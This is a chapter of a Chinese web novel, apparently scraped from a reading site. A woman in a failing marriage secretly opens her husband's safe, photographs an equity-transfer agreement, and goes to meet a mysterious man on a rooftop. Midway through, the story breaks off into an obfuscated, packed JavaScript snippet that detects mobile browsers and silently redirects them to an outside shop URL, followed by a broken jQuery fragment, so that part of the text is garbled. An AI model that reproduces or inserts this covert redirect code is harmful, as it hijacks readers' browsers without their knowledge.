文趣网 > 都市小说 > 离婚协议第99页 > 5. 100块钱的夜晚
    书房的门轻轻合上,金属锁舌滑入锁扣,发出一声沉闷的“咔嗒”。

    苏晚晚背靠着门板站了几秒,没动。耳朵捕捉走廊里的动静——保姆在主卧换床单,电动窗帘刚刚停,老张在厨房里开抽油烟机,油锅“刺啦”一声响,是开始煎蛋的声音。

    都忙着。她又听了几秒,确认没有脚步声往这边来,才转过身。

    口袋里那把钥匙凉丝丝地贴着大腿肌肤,但她没有用它——密码就够了。她的目光掠过书架第三层。那排精装版的《资治通鉴》后面,藏着一个暗格——她发现的,是婚后第一年的某个下午。那天她想找一本食谱,踮脚去够书架顶层的书,不小心碰掉了一本,捡起来的时候发现书脊比其他的薄,抽出来一看,是个空壳,里面塞着一沓票据和一份没写抬头的合同草稿。

    她当时心跳得厉害,把东西原样塞回去,书壳放好,然后坐在书房的地板上,花了整整十分钟让自己恢复正常呼吸。

    那之后她再也没动过那个位置。

    今天她踩着书桌旁边的矮凳,伸手够到那排书,抽出第三本——书壳轻飘飘的,里面什么也没有。空的。

    苏晚晚的手指在书壳内壁上摸了一圈,指尖碰到一个折角的东西。她抽出来,是一张便签纸,对折了两次,边缘微微发黄。展开,上面只有一行字,用铅笔写的,字迹很轻,像是怕留下痕迹:“别找了,它们不在原来的地方了。”

    她盯着这行字看了很久,然后折好,放回书壳里,把书插回书架。

    保险箱的位置她知道。书架移开之后,墙壁上有一个嵌入式的保险柜,面板是银灰色的数字键盘。她蹲下来,输入林婉儿的生日。屏幕亮了一下,显示“密码错误”。

    换一个。输入林婉儿母亲的生日。密码错误。

    输入傅衍之自己的生日。密码错误。

    她的手指悬在数字键上方,感觉到后背沁出一层细汗。如果不进来,还有退路——但现在门已经关了。那个数字……是什么?她靠在书架侧面想了想。他改过密码——大概是去年秋天,那笔三百万的转账完成之后没几天,她半夜起来喝水,路过书房时听见他在里面打电话,声音压得很低,说“账户的事都处理好了,密码我换了”。她当时没多想,转身回了卧室。现在想来,他换的可能不止是账户密码。

    她输入一串数字——那年他父亲去世的日子。屏幕闪了一下,绿色的“验证通过”亮起来,内部发出一声短促的“咔嗒”。

    她拉开保险柜的门。

    里面有三层。上层是几叠现金,用银行捆钞带扎着,目测大概二十万。中层是一沓文件,最上面那一份的抬头印着“股权转让协议”几个字,转让方是傅衍之,受让方赫然写着林婉儿的名字,股份比例百分之三十,日期是三个月前。她翻到底部,签名栏已经签好了,但还没公证。

    下层是一个黑色的文件夹,没有标签。

    苏晚晚拿起文件夹,打开。里面只有一张照片——拍的是一个年轻女人,抱着一个大概四五岁的小男孩,站在顾氏国际大厦的门前。女人穿着旧款式的连衣裙,头发扎成低马尾,笑得很淡。小男孩的眼睛和她长得很像。

    照片背面写着一行小字,铅笔写的,笔画有点歪,像是写在不平整的桌面上:“2000年夏,锦城。”

    她把照片翻过来又看了一遍,确定自己不认识那个女人。按快门的手指顿了顿,最终没有停顿太久——手机闪光灯没开,屏幕只发出微弱的亮光,她用手掌遮了一圈,对准文件,连拍几张。

    目光扫过文件边缘露出的那串编码时,她的无名指下意识地蜷了一下——像被什么东西轻轻刺中。“FD-97-0214”。

    然后她把文件一一复位,关上保险柜门,把书架推回原位。

    苏晚晚站起来,把手机放进帆布袋里,理了理衣服下摆。

    她走出书房的时候,保姆还在主卧里。经过走廊拐角时,楼梯上传来一阵急促的脚步声,很轻,像有人在上楼的间隙停了一下——她脚步顿住,侧耳细听,那声音没再出现。可能是错觉。

    老张正站在厨房门口抽烟——侧着身,脸朝向窗外,手里的烟已经烧出长长一截灰。早饭应该已经收拾好了。

    老张听见她的脚步声,转过头,没说话。他看了她一眼,目光落在她那身不到一百块的衣服上,然后移开视线,把烟头摁熄在窗台的烟灰缸里。

    “找到了?”他问。

    “找到了。”苏晚晚说。

    她往楼下走,经过玄关的时候停下来,看了一眼鞋柜上那只牛皮纸信封。她亲手签好折进去的那份离婚协议书还在原位。她的目光停了一秒,然后移开。

    铁门在她身后再次合上。

    她下了台阶,走出院子。穿过喷泉的时候,水面泛着一层薄薄的油光,一片被雨水泡烂的落叶漂在水面上,绕着喷泉底座慢慢打转。

    她走过山脚拐弯处时,一辆与傅衍之同款的黑色轿车正从反方向驶入山道,副驾车窗缓缓下降,露出一个模糊的侧影。她没回头,但脚步自己停顿了半拍。

    苏晚晚在山脚的路边长椅上坐下,掏出手机,翻开刚拍的照片。保险柜里那份股权转让协议拍得很清楚,字迹可以分辨。照片底部,文件边缘露出那个细小的编码——她盯着那串数字又看了一遍,然后把它收好,站起来继续走。

    肚子在叫了。

    她低头看了看手机上的时间——八点十二分。从昨晚到现在,只吃了两颗盐渍梅子和一杯水。她拐进路边一家沙县小吃,看了一眼墙上的菜单,最便宜的是蒸饺,六块钱。她点了一份,又加了一碗四块钱的拌面,接过老板递来的号码牌,在角落头的位置坐下。

    店里只有她一个客人。墙上的电视播着早间新闻,主持人念着股市行情的涨幅曲线,本地新闻的底下跑马灯一样滚着“锦城市中心CBD地块今日公开竞标”的标题。她把蒸饺沾了醋,一个一个地吃,吃得很慢。

    吃完了,她付了十块钱现金,从口袋里摸出那张皱巴巴的便签纸。秋姨写的地址还在,“三号楼顶楼”旁边,她在心底默念了一遍那串数字——金融街三号楼,顶楼。秋姨说有人要见她,没说那人是谁,也没说为什么要见。她只知道,秋姨不像是会随便安排一场没用的见面的人。

    她把便签纸对折两次,塞回帆布袋的夹层,拉开店门走出去。

    现在不到九点。茶局是下午四点。

    她还有七个小时。

    苏晚晚转身往锦城市图书馆的方向走——那里有一排公共电脑,免费开放,不需要登记身份。

    她在图书馆门口等到九点开门,是第一个进去的。选了一台角落头的电脑,打开浏览器,先搜了“澜海投资”的工商信息,又搜了傅氏集团近三年的财报,挨个点开,快速扫了几眼她记在本子上的那些金额,截图保存。然后她搜了顾西城的名字。

    搜索结果很少。几篇财经报道,提到顾氏集团总裁顾西城先生近日在锦城出席某论坛,配图是一张侧脸照,西装革履,站在台上,看不清正脸。还有一篇专访,刊登在某杂志的电子版。她点开,快速浏览了一遍——采访里他谈了对房地产市场的看法,提了几句“城市更新”的旧改逻辑,文风简洁冷静。她注意到文中提到他每天凌晨四点起来看全球股市,住的地方有一棵桂花树。

    她把那篇专访的页面添加到收藏夹,关掉了搜索。

    图书馆里很安静,只有空调的低频嗡鸣和翻书页的沙沙声。苏晚晚靠在椅背上,目光落在窗外一棵老槐树的枝丫上。树影在风里慢慢晃动,阳光透过叶子的缝隙,把光斑洒在桌上。

    她伸手到帆布袋里,摸到那把钥匙,指尖沿着齿痕一一碾过去,然后松开,拉好拉链,起身离开。

    她在街上又走了一个多小时,在靠近金融街的一家小公园里找了条长椅坐下。公园没什么人,只有几个老人在下棋。一只橘猫蜷在台阶角落,尾巴尖在阳光里轻轻甩了一下。她盯着它看了片刻,然后在长椅上仰起头,闭上眼,让正午的太阳灼热地照在脸上。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741805|209111||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    眼皮后面是一片温暖的红。她听见自己的心跳声,平稳的,一下一下的。

    下午三点四十五分,她站在金融街三号楼的背面。灰色的防火门还是锁着的。她掏出早上在门缝里找到的那张名片,按上面的号码拨了过去。

    响了两声,接通了。一个女声,听起来大概四十岁上下,语气平淡:“哪个门?”

    “三号楼背面,灰色防火门。”

    “等一下。”

    电话挂了。大概隔了十几秒,防火门内侧传来一声解锁的“咔嗒”声。苏晚晚推开门,闪身进去。楼道里很暗,日光灯坏了一半,只亮着一根,发出嗡嗡的电流声。楼梯是水泥的,没有铺设瓷砖或者地毯,墙角堆着几箱清洁用品。

    楼梯的数字标识磨损得只剩模糊的痕迹,她数着楼层往上走,拐角的数字从“1”变成“5”,再变成“12”,直到“25”。

    二十五楼。她推开楼梯间的防火门,走进一条铺着灰色地毯的走廊。

    走廊尽头是一扇双开的木门,门牌上挂着“澜海投资”四个字,黄铜刻的,字体很干净。门没有锁,她推了一下,开了。

    里面是一个很小的前台接待区,没有人。只有一张白色的大理石台面,上面放着一杯还冒着热气的茶。旁边压着一张便签纸,上面写着:“进电梯,上顶楼。”

    苏晚晚看了看那杯茶,没有动。她沿着前台旁边的一条走廊往里走,果然看到一部电梯,银灰色的门,没有楼层按钮,只有一个指纹识别面板。

    面板上贴着一张便签纸,手写的:“第一次来?按右手食指。”

    她顿了顿,没有立刻按。她想起秋姨写的那张便签——三号楼顶楼,没有门牌号,没有联系人,只说有人要见她。这个人是谁,秋姨和澜海投资是什么关系,眼前这部电梯要把她送到谁面前,她都不知道。秋姨没解释,她也没问。她们之间好像有一种默契——我不问,你不说,但你让我来,我就来了。

    她伸出右手食指,按在面板上。面板亮了一下——不是识别成功,而是直接弹开了,露出里面一个内嵌的九宫格键盘。

    她盯着那排数字,脑子里快速地回忆了一下。林婉儿的生日——不对。输入那个号码的后四位,屏幕亮起,电梯门开了。

    她走进去,电梯里只有两个按键,“1”和“顶层”。她按了顶层,电梯平稳地向上运行。轿厢内壁是不锈钢的,映出她的脸——头发有点乱,T恤领口洗得发白,帆布袋的带子在肩膀上勒出一道浅浅的印子。

    她看着自己的倒影,嘴角弯了一下。

    电梯停了。

    门打开,是一个空旷的大厅,落地玻璃墙,下午的光线从西面斜射进来,把整个空间镀上一层暖金色。地面是浅色的木地板,光泽温润,像是被很多人踩过。大厅中央摆着一张低矮的茶桌,旁边坐着一个人。

    那个人背对着她,正在沏茶。水从壶嘴里流出来,落在白瓷茶杯里,发出一声清冽的响声。他穿着一件浅灰色的衬衫,袖口挽了两圈,露出一截小臂。

    苏晚晚站在电梯口,没有往前走。

    那个人放下茶壶,回过头来。

    三十出头的年纪,五官很深,瞳孔的颜色在夕阳下显得近乎墨黑。他的目光在她身上停了两秒,然后微微弯起嘴角。不是商场礼仪那种笑——那个笑里没有礼貌性的温度,是一种确认。

    他说出这两个字时,语气不是疑问,而是一种确认——仿佛这个名字他已经默念了无数遍。

    “苏晚晚?”

    他的小臂动了动,右手撑住桌面,像是要站起来。但这个动作只做了一半,他停在那里,把重量重新落回座位上,只是伸手把对面那杯沏好的茶往她的方向推了推。指尖在新烫的白瓷上轻轻点了一下,被烫得收回,又落回壶把上。

    “是我。”苏晚晚说。

    他看着她,没再开口。桌上那杯茶的蒸汽在暖金色的光线里慢慢变淡,整个大厅只剩下窗外城市的风声,和他们之间那段还没拉开的序幕。